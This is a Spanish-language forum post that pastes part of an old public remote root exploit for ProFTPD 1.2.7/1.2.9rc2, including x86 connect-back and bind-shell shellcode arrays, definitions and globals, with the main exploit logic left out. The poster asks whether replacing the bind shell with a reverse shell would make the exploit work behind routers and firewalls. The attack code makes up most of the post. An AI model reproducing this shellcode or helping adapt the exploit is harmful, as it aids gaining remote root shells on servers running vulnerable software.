Duda sobre shellcode

Tnego aqui un exploit bueno no lo publicare todo publicare una parte:

/* proftpd 1.2.7/1.2.9rc2 remote root exploit by bkbll (bkbll#cnhonker.net, 2003/10/1)
* for FTP_ProFTPD_Translate_Overflow found by X-force
* happy birthday, China.
* this code is dirty, there are more beautiful exploits of proftpd for this vuln in the world.
* this code want to provied u a method, not finally exploit.
* using overflow _xlate_ascii_write function return address.
* because the overflow is before it connecting to our port,so I have no method for using current socket.
* and I have provied two method:bind port and connect back.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 21
#define SIZE 1024
#define BIGSIZE 1024*42
#define OFFSET 39 //cbshellcode ip & port offset,0 is the first
#define OFF2 70 //bindshellcode port offset,0 is the first
#define VER "1.20"

char cbshellcode[]= //from www.netric.org,and modified some code by myself
"\x31\xc0\x31\xdb\x31\xc9\xb0\x17"
"\xcd\x80\x31\xc0\x51\xb1\x06\x51"
"\xb1\x01\x51\xb1\x02\x51\x89\xe1"
"\xb3\x01\xb0\x66\xcd\x80\x89\xc2"
"\x31\xc0\x31\xc9\x51\x51\x68\x41"
"\x42\x43\x44\x66\x68\xb0\xef\xb1"
"\x02\x66\x51\x90\x89\xe7\xb3\x10"
"\x53\x57\x52\x89\xe1\xb3\x03\xb0"
"\x66\xcd\x80\x31\xc9\x39\xc1\x74"
"\x06\x31\xc0\xb0\x01\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd"
"\x80\x31\xc0\xb0\x3f\x89\xd3\xb1"
"\x02\xcd\x80\x31\xc9\x51\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x51\x68\x2d\x69\x69\x70"
"\x89\xe2\x51\x52\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80\x31"
"\xc0\xb0\x01\xcd\x80";
char bindshellcode[]= //from www.netric.org,and modified some code by myself
"\x90\x90\x90\x31\xc0\x31\xdb\x31"
"\xc9\xb0\x17\xcd\x80\x31\xc0\xb0"
"\x02\xcd\x80\x39\xc3\x7c\x0c\x31"
"\xc0\xb0\x02\xcd\x80\x39\xc3\x7c"
"\x02\xeb\x06\x31\xc0\xb0\x01\xcd"
"\x80\x51\x31\xc0\x51\xb1\x01\x51"
"\xb1\x02\x51\x89\xe1\xb3\x01\xb0"
"\x66\xcd\x80\x89\xc1\x31\xc0\x31"
"\xdb\x50\x50\x50\x66\x68\xb0\xef"
"\xb3\x02\x66\x53\x89\xe2\xb3\x10"
"\x53\xb3\x02\x52\x51\x89\xca\x89"
"\xe1\xb0\x66\xcd\x80\x31\xdb\x39"
"\xc3\x74\x05\x31\xc0\x40\xcd\x80"
"\x31\xc0\x50\x52\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x89\xd7\x31\xc0"
"\x31\xdb\x31\xc9\xb3\x11\xb1\x01"
"\xb0\x30\xcd\x80\x31\xc0\x31\xdb"
"\x50\x50\x57\x89\xe1\xb3\x05\xb0"
"\x66\xcd\x80\x89\xc6\x31\xc0\x31"
"\xc9\x89\xf3\xb0\x3f\xcd\x80\x31"
"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x41\xb0\x3f\xcd\x80\x31\xc9\x51"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x51\x68\x2d\x69"
"\x69\x69\x89\xe2\x51\x52\x53\x89"
"\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";

int sockfd,sockfd1,sockfd2;
int show=0;
int mustread=0;
int getshell=0;
int pt=6000;
unsigned int type=1;
char bindmethod=0;
char usrstr[]="USER";
char passtr[]="PASS";
char ascistr[]="TYPE A";
char pasvstr[]="PASV";
char portstr[]="PORT";
char storstr[]="STOR";
char retrstr[]="RETR";
char cmdbuf[SIZE];
char srvbuf[SIZE];
char *cbhost=NULL;
char *server=NULL;

Bueno el exploit da una bind shell gracias a la vlnerabilidad pero eso hoy dia no sirve por causa de los routers furewalls etc mi pregunta es si cambio la shellcode por una reverse shell ira bien quiero decir cuadno se ejecute devolvera una reverse shell? Gracias